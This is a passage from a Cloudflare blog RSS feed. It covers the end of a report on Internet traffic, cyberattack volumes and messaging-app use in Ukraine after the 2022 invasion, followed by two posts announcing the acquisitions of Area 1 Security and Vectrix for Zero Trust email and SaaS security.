            </figure><p>Looking at Rivne, Ternopil, Uzhhorod, and Lviv, it’s possible that the peaks in Internet traffic on different days show the movement of people westward as they try to escape fighting around the capital and in the east and south.</p><p>On the opposite side of Ukraine, the situation is quite different. Here’s the traffic pattern for the city of <b>Kharkiv</b>. It has stayed at roughly between 50% and 60% (March 3) of the usual rate since the beginning of the invasion.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5fG8DQyYKAQpS7kFVlDUU7/b7c33fce49d7168a072668f1a1b07c4d/pasted-image-0.png" />
            
            </figure><p>North of Kharkiv, the city of <b>Sumy</b> (north-eastern Ukraine, near the Russian border), traffic levels are very low since yesterday, March 3, 2022.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3wjgNQDmHpeqGas6qOXFF1/70aefa3a8a26567c3c3a513d9b715b66/unnamed.png" />
            
            </figure><p>A similar trend can be seen in the city <b>Izyum</b>, south of Kharkiv (east of Ukraine), where traffic is very low since March 2.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6YGi1wOcO6bhXacUZ01RsG/a774777826301accbbd4733ab011d43f/10.png" />
            
            </figure><p>Traffic in <b>Donetsk</b> has remained fairly consistent throughout the invasion, except for March 1 when there was a dramatic change in traffic. This was most likely caused by an attack against a single <code>.ua</code> domain name, with the attack traffic coming, at least in part, from Donetsk.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1WR3DQJvmrZ0puepW0L12y/86359abbcc6d8998eca746113d7345b1/11.png" />
            
            </figure><p>Some other areas with fighting have experienced the largest drops and partial Internet outages. Moving to the south, traffic in <b>Mariupol</b> declined after the invasion and has dropped dramatically in the last three days with outages on local networks.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1FQg2ANOhWjxErVXSZYhac/6f71b8ead1c409648186c8e1180b124b/12.png" />
            
            </figure><p>Here’s a view of traffic from <b>AS43554</b> in Mariupol showing what seems to be a total outage on March 1 that continued through March 4.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3GWgAOzq64e7ZuI6SRiD5G/40c28d60c066843891f940f2e01da1e6/13.png" />
            
            </figure><p>To the west of Mariupol, <b>Osypenko</b> shows a gradual decline in traffic followed by three days of minimal Internet use.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3EOdDTnSdMfjpRvEyEKBvK/f086b69d54ccb877ed51fbbe344a3300/14.png" />
            
            </figure><p>Similar large drops are seen in <b>Irpin</b> (just outside Kyiv to the northwest).</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1mB46gakFfLSSeDkDrRvZG/8c6108706360b3a21b0dfe45ad66dbce/15.png" />
            
            </figure><p>And in <b>Bucha</b>, which is next to Irpin; both Bucha and Irpin are close to Hostomel airport.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/TlwvYV8N8rdieIJMUMPhj/1a9cc807663f53f5a4ad9b2bba06459b/16.png" />
            
            </figure><p><b>Enerhodar</b> is the small city in the south of Ukraine where Europe’s <a href="https://en.wikipedia.org/wiki/Zaporizhzhia_Nuclear_Power_Plant">largest nuclear plant, Zaporizhzhya NPP</a>, is located.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/29bhtASL8OU47yPZHCNfRI/68bfc0b046e8dfa1c2ae01c2a94c2220/17.png" />
            
            </figure><p>There has also been minimal traffic (or possible outage) from <b>Severodonetsk</b> (north of Luhansk) for the past four of days.</p><p>We have started to see traffic from <b>Starlink</b> terminals in Ukraine, although traffic levels remain very low.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6atfVSLe5Pwsxdn3irMtT8/e2dbf5f4166c452d84bbf9c6346db820/18.png" />
            
            </figure>
    <div>
      <h3>Cyberattacks</h3>
      <a href="#cyberattacks">
        
      </a>
    </div>
    <p>The physical world invasion has been accompanied by an increase in cyberattacks against Ukrainian <a href="https://www.cloudflare.com/learning/dns/glossary/what-is-a-domain-name/">domain names</a> and networks.</p><p>Just prior to the invasion, on February 23, Cloudflare’s automated systems detected a large amount of packet loss on a major Internet connection to our Kyiv data center and automatically mitigated the problem by routing traffic onto other networks. This packet loss was caused by congestion on the transit provider’s network, which in turn was caused by a large <b>DDoS attack</b>. It appeared in our dashboards as packet loss over a 30-minute period between 1500-1530 (the different colors are different parts of our network infrastructure in Kyiv).</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/7EmItYS3T8GxD6VYyoM3EG/b3a76cbb1b893ebc24dcc60d84bc18b8/19.png" />
            
            </figure><p>This next chart gives an overview of traffic to <code>.ua</code> domains protected by Cloudflare and <b>requests that are “mitigated”</b> (i.e. blocked by our firewall products). The chart shows only layer 7 traffic and does not give information about layer 3/4 DDoS, which is covered separately below.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/34YJT6klbECA3qdNvnd0IS/788797703c521850a5ed246a8fc90e8f/20.png" />
            
            </figure><p>On the first day of the invasion attacks against <code>.ua</code> domains were prevalent and at times responsible for almost 50% of the requests being sent to those domains. From Friday, February 25 attacks returned to levels seen prior to the invasion and started picking up again on Tuesday, March 1.</p><p>Digging into the layer 7 mitigations we can see that the biggest attacks over all are <b>layer 7 DDoS attacks</b>.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/50MrnOk41vz0jWr4bBDrwv/91e1e79009dd81c478ce8d346d9e9683/21.png" />
            
            </figure><p>The next largest attacks are being <b>mitigated by firewall</b> rules put in place by customers.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6YrBRnpJgIqBuYwtitFoVz/d211abf1fc69df57f58f2b63851176f0/22.png" />
            
            </figure><p>Followed by <b>blocking requests</b> based on our IP threat reputation database.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4O4iv06r1yor8gKDRYdDRf/1e1aca1fa11f60feec29598978afbbf3/23.png" />
            
            </figure><p><b>Layer 3/4</b> traffic is harder to attribute to a specific domain or target as IP addresses are shared across different customers. Looking at network-level DDoS traffic hitting our Kyiv data center, we see occasional peaks of DDoS traffic reaching a high of nearly  1.8 Gbps.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1NADxtBwn0foYlfEvq5PEy/07d7982aaef98f4db20765b588eca6ba/24.png" />
            
            </figure><p>Note that although the layer 3/4 and layer 7 attacks we are mitigating have been relatively small, that does not mean they are not devastating or problematic. A small website or service can be taken down by relatively small attacks, and the layer 7 attack traffic often includes vulnerability scanning, credential stuffing, SQL injection, and the usual panoply of techniques carried out to either deface or penetrate an Internet service.</p><p>Unprotected Internet properties are vulnerable to even small attacks and need protection.</p>
    <div>
      <h3>Social media and communications</h3>
      <a href="#social-media-and-communications">
        
      </a>
    </div>
    <p>Much of the imagery and information coming out of Ukraine is being shared on social networks. Looking at social networks in Ukraine via <a href="https://radar.cloudflare.com/glossary#:~:text=the%201.1.1.1%20Public-,DNS,-Resolver%20that%20has">DNS data</a> shows that <b>Facebook</b> use has increased.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/15jlSv3fzPb8sPOfc4xvgf/f44646213d0428cb794882321f113aab/25.png" />
            
            </figure><p>As has <b>Instagram</b>.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6cuAxK9zvHYSPPvt84NKaw/9c19e6f887fe8d751ae339367e3c71fb/26.png" />
            
            </figure><p>However, <b>TikTok</b> seems to have lost traffic initially, but it has started to return (although not to its pre-conflict levels) in the last two days.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/7EBBTkbVlMSscnDkObMj7L/5e60765577737b88a670d5e963585544/27.png" />
            
            </figure><p><b>Twitter</b> usage increased and has remained higher than levels seen before the invasion.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/44BsrUePrEqkWEN71bkyeV/e182fc4169587c6ff464a7990ff72d44/28.png" />
            
            </figure><p>Turning to messaging apps, we can compare Messenger, Signal, Telegram and WhatsApp. <b>WhatsApp</b> traffic appears to have declined inline with the broad change in Internet traffic across Ukraine.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/76EQjomtP8yUEWwCxhZoor/cfc829607346f4a4b4a5f336e38655eb/29.png" />
            
            </figure><p><b>Telegram</b> stayed largely unchanged until early this week, when we observed a small increase in use.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2KqEgjPtLjvKCbMrDVAwua/9efb4da0a9c1084959b55052c848baca/30.png" />
            
            </figure><p><b>Messenger</b> shows a similar pattern.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/oOg01evjpm26a5KHGBZ3k/466c5b48194a0a953016d968b28dff95/31.png" />
            
            </figure><p>But the largest change has been traffic to the end-to-end encrypted messaging app <b>Signal</b>, which has seen dramatic growth since the invasion began. We are seeing 8x to 10x the DNS volume for Signal as compared to the days before the start of the conflict.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4aI6ulZRLjWD8296OSI8Gb/e0688b6345db88da324633bbea4f4663/32.png" />
            
            </figure><p></p> ]]></content:encoded>
            <category><![CDATA[Radar]]></category>
            <category><![CDATA[Internet Traffic]]></category>
            <category><![CDATA[Ukraine]]></category>
            <guid isPermaLink="false">5UfTdcwIpiy9Gnz5V8Gouc</guid>
            <dc:creator>John Graham-Cumming</dc:creator>
        </item>
        <item>
            <title><![CDATA[Why we are acquiring Area 1]]></title>
            <link>https://blog.cloudflare.com/why-we-are-acquiring-area-1/</link>
            <pubDate>Wed, 23 Feb 2022 22:00:36 GMT</pubDate>
            <description><![CDATA[ Earlier today we announced that Cloudflare has agreed to acquire Area 1 Security ]]></description>
            <content:encoded><![CDATA[ 
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/33QaPRKF61qfGfT38CResW/fbfcda40ae0404a08a7427efa24edd32/Area-1-transparent-header-7.png" />
            
            </figure><p>Cloudflare’s mission is to help build a better Internet. We’ve invested heavily in building the world’s most powerful cloud network to deliver a faster, safer and more reliable Internet for our users. Today, we’re taking a big step towards enhancing our ability to secure our customers.</p><p>Earlier today we announced that Cloudflare has agreed to acquire <a href="https://www.area1security.com/">Area 1 Security</a>. Area 1’s team has built exceptional cloud-native technology to protect businesses from email-based security threats. Cloudflare will integrate Area 1’s technology with our global network to give customers the most complete <a href="https://www.cloudflare.com/learning/security/glossary/what-is-zero-trust/">Zero Trust</a> security platform available.</p>
    <div>
      <h3>Why Email Security?</h3>
      <a href="#why-email-security">
        
      </a>
    </div>
    <p>Back at the turn of the century I was involved in the fight against email spam. At the time, before the mass use of cloud-based email, spam was a real scourge. Clogging users’ inboxes, taking excruciatingly long to download, and running up people’s Internet bills. The fight against spam involved two things, one technical and one architectural.</p><p>Technically, we figured out how to use machine-learning to successfully differentiate between spam and genuine. And fairly quickly email migrated to being largely cloud-based. But together these changes didn’t kill spam, but they relegated to a box filled with junk that rarely needs to get looked at.</p><p>What spam didn’t do, although for a while it looked like it might, was kill email. In fact, email remains incredibly important. And because of its importance it’s a massive vector for threats against businesses and individuals.</p><p>And whilst individuals largely moved to cloud-based email many companies still have on-premise email servers. And, much like anything else in the cybersecurity world, email needs best-in-class protection, not just what’s built in with the email provider being used.</p><p>When Cloudflare was in its infancy we considered dealing with the email-borne threat problem but opted to concentrate on building defences for networks and the web. Over time, we’ve vastly expanded our protection and our customers are using us to protect the entirety of their Internet-facing world.</p><p>Whilst we can protect a mail server from DDoS, for example, using Magic Transit, that’s just one potential way in which email gets attacked. And far more insidious are emails sent into organizations containing scams, malware and other threats. Just as Cloudflare <a href="https://www.cloudflare.com/application-services/solutions/">protects applications</a> that use HTTP, we need to protect email at the application and content level.</p><p>If you read the press, few weeks go by without reading a news story about how an organization had significant data compromised because an employee fell for a phishing email.</p><p><a href="https://www.cloudflare.com/products/zero-trust/threat-defense/">Cyberthreats</a> are entering businesses via email. Area 1 estimates that more than 90% of <a href="https://www.cloudflare.com/learning/security/what-is-cyber-security/">cyber security</a> damages are the result of just one thing: phishing. Let’s be clear, email is <i>the</i> biggest exposure for any business.</p><p>Existing email security solutions aren’t quite cutting it. Historically, companies have addressed email threats by layering legacy box-based products. And layering they are, as around 1 in 7 Fortune 1000 companies use <i>two or more</i> email security solutions<sup>1</sup>. If you know Cloudflare, you know legacy boxes are not our thing. As businesses continue to move to the cloud, so does email. Gartner estimates 71% of companies use cloud or hybrid cloud email, with Google’s G Suite and Microsoft’s Office 365 being the most common solutions<sup>2</sup>. While these companies offer built-in protection capabilities for their email products, many companies do not believe they adequately protect users (more on our own experience with these shortfalls later).</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1egdmGHC9eGBSLaM1vzBbT/33b395ae7719f2842b68806bff4f221b/image4-14.png" />
            
            </figure>
    <div>
      <h3>Trying before buying  </h3>
      <a href="#trying-before-buying">
        
      </a>
    </div>
    <p>Email security is something that has been on our mind for some time.</p><p>Last year we rolled out <a href="/tackling-email-spoofing/">Email Security DNS Wizard</a>, our first email security product. It was designed as a tool to tackle email spoofing and phishing and improve the deliverability of millions of emails. This was just the first step on our email security journey. Bringing Area 1 onboard is the next, and much larger, step in that journey.</p><p>As a security company, we are constantly being attacked. We have been using Area 1 for some time to protect our employees from these attackers.</p><p>In early 2020, our security team saw an uptick in employee-reported phishing attempts. Our cloud-based email provider had strong spam filtering, but fell short at blocking malicious threats and other advanced attacks. Additionally, our provider only offered controls to cover their native web application, and did not provide sufficient controls to protect their iOS app and alternate methods of accessing email. Clearly, we needed to layer an <a href="https://www.cloudflare.com/zero-trust/products/email-security/">email security solution</a> on top of their built-in protection capabilities (more on layering later…).</p><p>The team looked for four main things in a vendor: the ability to scan email attachments, the ability to analyze suspected malicious links, business email compromise protection, and strong APIs into cloud-native email providers. After testing many vendors, Area 1 became the clear choice to protect our employees. We implemented Area 1’s solution in early 2020, and the results have been fantastic. With Area 1, we’ve been able to proactively <a href="https://www.cloudflare.com/learning/email-security/how-to-prevent-phishing/">identify phishing campaigns</a> and take action against them before they cause damage. We saw a significant and prolonged drop in phishing emails. Not only that, the Area 1 service had little to no impact on email productivity, which means there were minimal false positives distracting our security team.</p><p>In fact, Area 1’s technology was so effective at launch, that our CEO reached out to our Chief Security Officer to inquire if our email security was broken. Our CEO hadn’t seen any phishing attempts reported by our employees for many weeks, a rare occurrence. It turns out our employees weren’t reporting any phishing attempts, because Area 1 was catching all phishing attempts before they reached our employee’s inboxes.</p><p>The reason Area 1 is able to do a better job than other providers out there is twofold. First, they have built a significant data platform that is able to identify patterns in emails. Where does an email come from? What does it look like? What IP does it come from? Area 1 has been in the email security space for nine years, and they have amassed an incredibly valuable trove of threat intelligence data. In addition, they have used this data to train state-of-the-art <a href="https://www.cloudflare.com/learning/ai/what-is-machine-learning/">machine learning models</a> to act preemptively against threats.</p>
    <div>
      <h3>Layers (Email Security + Zero Trust)</h3>
      <a href="#layers-email-security-zero-trust">
        
      </a>
    </div>
    <p>Offering a <a href="https://www.cloudflare.com/zero-trust/solutions/email-security-services/">cloud-based email security product</a> makes sense on its own, but our vision for joining Area 1’s technology to Cloudflare is much larger. We are convinced that adding email security to our existing Zero Trust security platform will result in the best protection for our customers.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/7h4TSI4H0NakIb5l2JU67V/0c2076ed781f8fa68c58aefd3f53cd7e/image5-8.png" />
            
            </figure><p>Just as Cloudflare had put Area 1 in front of our existing email solution, many companies put two or more layered email protection products together. But layering is hard. Different products have different configuration mechanisms (some might use a UI, others an API, others might not support Terraform etc.), different reporting mechanisms, and incompatibilities that have to be worked around.</p><p>SMTP, the underlying email protocol, has been around since 1982 and in the intervening 40 years a lot of protocols have grown around SMTP to make it secure, add spoof protection, verify senders, and more. Getting layered email security products to work well with all those add-on protocols is hard.</p><p>And email doesn’t stand alone. The user’s email address is often the same thing as their company log in. It makes sense to bring Zero Trust and email security together.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2br92H7v3JbcCQzZKUP1YI/1ef2dd7874875ccd626afefce183ef6d/image6-8.png" />
            
            </figure><p>As we’ve discussed, email is a major vector for attacks, but it is not the only one. Email security is just one layer of an enterprise defense system. Most businesses have multiple layers of security to protect their employees and their assets. These defense layers reduce the risk that a system gets penetrated by an attacker. Now imagine all these layers were purpose-built to work with each other seamlessly, built into the same software stack, offered by a single vendor and available to you in 250+ locations around the world.</p><p>Imagine a world where you can turn on email security to protect you against phishing, but if for some reason an attacker were to get through to an employee’s inbox, you can create a rule to open any unrecognized link in an isolated remote browser with no text input allowed and scan all email attachments for known malware. That is the power of what we hope to achieve by adding Area 1’s technology onto Cloudflare’s Zero Trust security platform.</p><p>Bringing email and Zero Trust together opens up a world of possibilities in protecting email and the enterprise.</p>
    <div>
      <h3>Shared Intelligence</h3>
      <a href="#shared-intelligence">
        
      </a>
    </div>
    <p>At Cloudflare, we’re fans of closely knit products that deliver more value together than they do apart. We refer to that internally as 1+1=3. Incorporating Area 1 into our Zero Trust platform will deliver significant value to our customers, but protecting email is just the start.</p><p>Area 1 has spent years training their machine learning models with email data to deliver world-class security. Joining email threat data and Cloudflare’s threat data from our global network will give us incredible power to deliver improved security capabilities for our customers across our products.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/7HkqrCyl1OmoijZyvb5ffx/37ff291bcb2b21288ab5e4d2d918696a/image3-23.png" />
            
            </figure>
    <div>
      <h3>Shared vision</h3>
      <a href="#shared-vision">
        
      </a>
    </div>
    <p>Together with the Area 1 team, we will continue to help build the world’s most robust cloud network and Zero Trust security platform.</p><p>On a final note, what struck us most about Area 1 is their shared vision for building a better (and more secure) Internet. Their team is smart, transparent, and curious, all traits we value tremendously at Cloudflare. We are convinced that together our teams can deliver tremendous value to our customers.</p><p><i>If you are interested in upcoming email security products,</i> <a href="https://cloudflare.com/lp/emailsecurity/"><i>please register your interest here</i></a><i>. You can learn more about the acquisition</i> <a href="https://www.cloudflare.com/press-releases/2022/cloudflare-to-acquire-area-1-security/"><i>here</i></a> <i>or in Area 1’s</i> <a href="https://www.area1security.com/blog/cloudflare-to-acquire-area-1-security"><i>blog</i></a><i>.</i></p><p><i>The acquisition is expected to close early in the second quarter of 2022 and is subject to customary closing conditions. Until the transaction closes, Cloudflare and Area 1 Security remain separate and independent companies.</i></p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/glrOXHLGryoihM7KGnGtA/7b283395411e474d36e8920857158d73/image1-22.png" />
            
            </figure><p>.....</p><p><sup>1</sup>Piper Sandler 1Q2021 Email Security Survey: Market Share</p><p><sup>2</sup>Gartner, Market Guide for Email Security, 8 September 2020</p> ]]></content:encoded>
            <category><![CDATA[Acquisitions]]></category>
            <category><![CDATA[Email Security]]></category>
            <category><![CDATA[Cloudflare Zero Trust]]></category>
            <category><![CDATA[Zero Trust]]></category>
            <category><![CDATA[Security]]></category>
            <guid isPermaLink="false">SqIFJckohf7lBiD4Qby9u</guid>
            <dc:creator>John Graham-Cumming</dc:creator>
        </item>
        <item>
            <title><![CDATA[Adding a CASB to Cloudflare Zero Trust]]></title>
            <link>https://blog.cloudflare.com/cloudflare-zero-trust-casb/</link>
            <pubDate>Thu, 10 Feb 2022 21:18:00 GMT</pubDate>
            <description><![CDATA[ Earlier today, Cloudflare announced that we have acquired Vectrix, a cloud-access security broker (CASB) company focused on solving the problem of control and visibility in the SaaS applications and public cloud providers that your team uses ]]></description>
            <content:encoded><![CDATA[ <p>Earlier today, Cloudflare <a href="https://www.cloudflare.com/press-releases/2022/cloudflare-acquires-vectrix/">announced</a> that we have acquired Vectrix, a <a href="https://www.cloudflare.com/learning/access-management/what-is-a-casb/">cloud-access security broker (CASB)</a> company focused on solving the problem of control and visibility in the SaaS applications and public cloud providers that your team uses.</p><p>We are excited to welcome the Vectrix team and their technology to the Cloudflare Zero Trust product group. We don’t believe a CASB should be a point solution. Instead, the features of a CASB should be one component of a comprehensive <a href="https://www.cloudflare.com/learning/security/glossary/what-is-zero-trust/">Zero Trust</a> deployment. Each piece of technology, CASB included, should work better together than they would as a standalone product.</p><p>We know that this migration is a journey for most customers. That’s true for our own team at Cloudflare, too. We’ve built our own <a href="https://www.cloudflare.com/zero-trust/solutions/">Zero Trust platform</a> to solve problems for customers at any stage of that journey.</p>
    <div>
      <h2>Start by defending the resources you control</h2>
      <a href="#start-by-defending-the-resources-you-control">
        
      </a>
    </div>
    <p>Several years ago, we protected the internal resources that Cloudflare employees needed by creating a private network with hardware appliances. We deployed applications in a data center and made them available to this network. Users inside the San Francisco office connected to a secure Wi-Fi network that placed them on the network.</p><p>For everyone else, we punched a hole in that private network and employees pretended they were in the office by using Virtual Private Network (VPN) clients on their device. We had created a castle-and-moat by attempting to extend the walls of the San Francisco office to the rest of the world.</p><p>Our Security team hated this. Once authenticated to the VPN client, a user could generally connect to any destination on our private network - the network trusted them by default. We lacked segmentation over who could reach what resource. Just as terrifying, we had almost no visibility into what was happening inside the network.</p><p>One option would have been to build out a traditional <a href="https://www.cloudflare.com/learning/access-management/what-is-network-segmentation/">segmented network</a> with internal firewalls and a configuration nightmare keeping VPN appliances, firewalls and servers synchronized. We knew that there was a better, more flexible, more modern way.</p><p>We <a href="/cloudflare-access-now-teams-of-any-size-can-turn-off-their-vpn/">built the first product</a> in Cloudflare One, Cloudflare Access, to solve these problems. Cloudflare Access uses our global network to check every request or connection for identity, group membership, device posture, multifactor method and more to determine if it should be allowed. Organizations can build rules that are <a href="/cloudflare-access-for-saas/">specific to applications</a> or <a href="/zero-trust-private-networking-rules/">IP addresses on a private network</a> that runs on Cloudflare. Cloudflare Access also logs every request and connection, providing high-visibility with low-effort.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/r9LBX7Ixxq9AHT57SGg2t/a39e0621b2e958df0a8b6ddaea545b94/image2-9.png" />
            
            </figure><p>This migration <a href="/dogfooding-from-home/">changed our security model at Cloudflare</a>. We also <a href="/the-zero-trust-platform-built-for-speed/">never had to compromise performance</a> thanks to Cloudflare’s global network and <a href="https://www.cloudflare.com/performance/accelerate-internet-applications/#:~:text=Cloudflare%20increases%20web%20application%20performance,congested%20path%2C%20and%20much%20more.">Application Performance</a> products. Decisions about who is allowed are made milliseconds away from the user in data centers in over 250+ cities around the world. For web applications, Cloudflare Access runs in-line with our <a href="https://www.cloudflare.com/learning/ddos/glossary/web-application-firewall-waf/">WAF</a> and works out-of-the-box with our load balancers. Cloudflare’s network accelerates requests and packets, connecting users to the tools they need even faster.</p><p>Cloudflare Access let us and thousands of other teams deprecate the legacy VPN security model, but the rest of the Internet posed a different kind of challenge—how do we keep our users, and their devices and data, safe from attack?</p>
    <div>
      <h2>Next, protect your team from the rest of the Internet</h2>
      <a href="#next-protect-your-team-from-the-rest-of-the-internet">
        
      </a>
    </div>
    <p>The public Internet allows just about anyone to connect either as a user or a host. That openness is both powerful and terrifying. When employees on corporate devices need to use the rest of the Internet, they run a risk of encountering phishing websites, malware hosts, and other attempts to steal data and compromise businesses.</p><p>Historically, organizations relied on a similar castle-and-moat approach. They backhauled user traffic to any destination on the Internet through a centralized data center. Inside that data center, IT departments installed and monitored physical appliances to provide security like network firewalls, proxies, and <a href="https://www.cloudflare.com/learning/access-management/what-is-a-secure-web-gateway/">secure web gateways</a>.</p><p>This model worked fine when employees only needed to connect to the public Internet occasionally. Most work was performed on the desktop in front of the user. When companies began moving to SaaS applications hosted by other teams, and employees spent the majority of their day on the Internet, this security framework fell apart.</p><p>User experience suffered when all traffic had to first reach a distant security appliance. IT and Security teams had to maintain and patch appliances while struggling to scale up or down. The cost of backhauling traffic over <a href="https://www.cloudflare.com/learning/network-layer/what-is-mpls/">MPLS links</a> erased the financial savings gained by migrating to SaaS applications on the Internet.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/CFqGU69JXbDdLi9l0k1Rl/2ad1a59e9edcb518f957281275122d22/image1-10.png" />
            
            </figure><p><a href="https://www.cloudflare.com/products/zero-trust/gateway/">Cloudflare Gateway</a> turns Cloudflare’s network in the other direction to protect users as they connect out to the rest of the Internet. Instead of backhauling traffic to a centralized location, users connect to a nearby Cloudflare data center where we apply one or more layers of security filtering and logging before accelerating their traffic to its final destination.</p><p>Customers can choose how they want to start this journey. Cloudflare operates the world’s fastest DNS resolver, on top of which <a href="/helping-keep-governments-safe-and-secure/">we’ve built DNS filtering</a> powered by the intelligence we collect from handling so much of the Internet every day. Other customers decide to begin by ripping out their network firewall appliances and moving that functionality into Cloudflare’s network by connecting roaming users or entire offices and data centers to Cloudflare.</p><p>As threats become more advanced, Cloudflare’s Secure Web Gateway inspects HTTPS traffic for malware hiding in file downloads or the accidental loss of data to unapproved SaaS services. Cloudflare’s <a href="/phishing-protection-browser/">Browser Isolation service adds another layer</a> of threat protection by running the browser in our network instead of on the user device. With Cloudflare Gateway and Browser Isolation, security teams also can apply granular data loss control to traffic as it flows through our network—from stopping file uploads to blocking copy-and-paste in the web page itself.</p>
    <div>
      <h2>Now, control the data and configurations in your SaaS applications</h2>
      <a href="#now-control-the-data-and-configurations-in-your-saas-applications">
        
      </a>
    </div>
    <p>At this point in a Zero Trust journey, your team can control how users access critical resources and how you keep those users and their data safe from external attack. Both of these require control of the network—inspecting traffic as it leaves devices in your organization or as it arrives in your infrastructure. That leaves one piece missing. As more of your data lives in SaaS applications outside your control, how do you maintain a consistent level of filtering, logging, and auditing?</p><p>The Cloudflare Zero Trust platform released many features in the last year to help customers solve this problem and the broader range of “CASB” challenges. First, we built a feature that allows your team to <a href="/cloudflare-access-for-saas/">force logins to your SaaS applications</a> through Cloudflare’s Secure Web Gateway where you can control rules and visibility. Next, we used the data from the Secure Web Gateway to provide your team with a <a href="/introducing-shadow-it-discovery/">comprehensive Shadow IT report</a> to discover what applications your team is using and what they should be using.</p><p>Customers use the Shadow IT report in particular to begin building <a href="/gateway-app-policies/">rules to block access to unapproved SaaS applications</a>, or to block actions like file uploads to specific unapproved SaaS applications, but the collaboration available in these tools becomes a risk to your organization.</p><p>It’s easy to be a single-click away from a data breach. We could share a document with the public Internet instead of our team. We could leave an S3 bucket unprotected. We could invite the wrong users to a private GitHub repository or install a malicious plugin to our email system. The data-at-rest in these SaaS applications is vulnerable to new types of attacks.</p><p>Some of these applications have tried to solve this problem in their own space, but the rapid adoption of SaaS applications and the struggle to configure each separately led to thousands of wasted hours in security teams. The Vectrix founders talked with teams who had to dedicate full-time employees just to manually configure and check permission settings and logs. So they built a better answer.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/7cmmwOLBF0qHh7LI45LWyU/f0fab3c537668ca0f98046f0d5d4b2ac/image3-13.png" />
            
            </figure><p>Vectrix scans the SaaS applications that your team uses to detect anomalies in configuration, permissions, and sharing. Each SaaS application is different - the risks vary from a Google Sheet that is made public to leaked secrets in GitHub - and Vectrix gives customers a single place to control and audit those types of events.</p>
    <div>
      <h2>Why Vectrix?</h2>
      <a href="#why-vectrix">
        
      </a>
    </div>
    <p>To solve this problem for our customers, we evaluated options including building our own API-driven CASB solution and talking to other companies in this space. Vectrix became the best option after evaluating them against the priorities we have for this group of products.</p>
    <div>
      <h3>The Vectrix team is customer obsessed</h3>
      <a href="#the-vectrix-team-is-customer-obsessed">
        
      </a>
    </div>
    <p>Vectrix mission focuses on giving organizations of any size, including those without a large security team, “simple, straightforward security scans that anyone can use…” By <a href="https://www.cloudflare.com/application-services/solutions/">making the solution accessible</a> and easy to use, Vectrix reduces the barrier to security.</p><p>We share that same goal. Cloudflare exists to help build a better Internet. That starts with an Internet made safer by making security tools accessible to anyone. From offering <a href="https://www.cloudflare.com/application-services/products/ssl/">SSL certificates at no cost</a> to any customer to making Zero Trust product group available at no cost to teams of up to 50 users, we are obsessed with helping our customers solve problems previously out of their reach.</p>
    <div>
      <h3>Their technology delivers value faster</h3>
      <a href="#their-technology-delivers-value-faster">
        
      </a>
    </div>
    <p>One of the original pitches of Cloudflare’s Application Security and Performance products was set up that could be completed in less than five minutes. We know that the cost to deploy a new service, especially for smaller teams, can mean that organizations delay making security and performance improvements.</p><p>We don’t think that customers should have to compromise and neither does Vectrix. The Vectrix product focuses on delivering immediate value in less than five minutes after the two or three clicks required to configure the first scan of a SaaS application. Customers can begin to flag risks in their organization in a matter of minutes without the need for a complex deployment.</p>
    <div>
      <h3>1+1=3 in terms of value for our customers when used with our existing Zero Trust products</h3>
      <a href="#1-1-3-in-terms-of-value-for-our-customers-when-used-with-our-existing-zero-trust-products">
        
      </a>
    </div>
    <p>The Vectrix product will not be inserted as a point solution add-on. We’re making it a core part of our Zero Trust bundle because integrating features from products like our Secure Web Gateway give customers a comprehensive solution that works better together.</p>
    <div>
      <h2>What’s next?</h2>
      <a href="#whats-next">
        
      </a>
    </div>
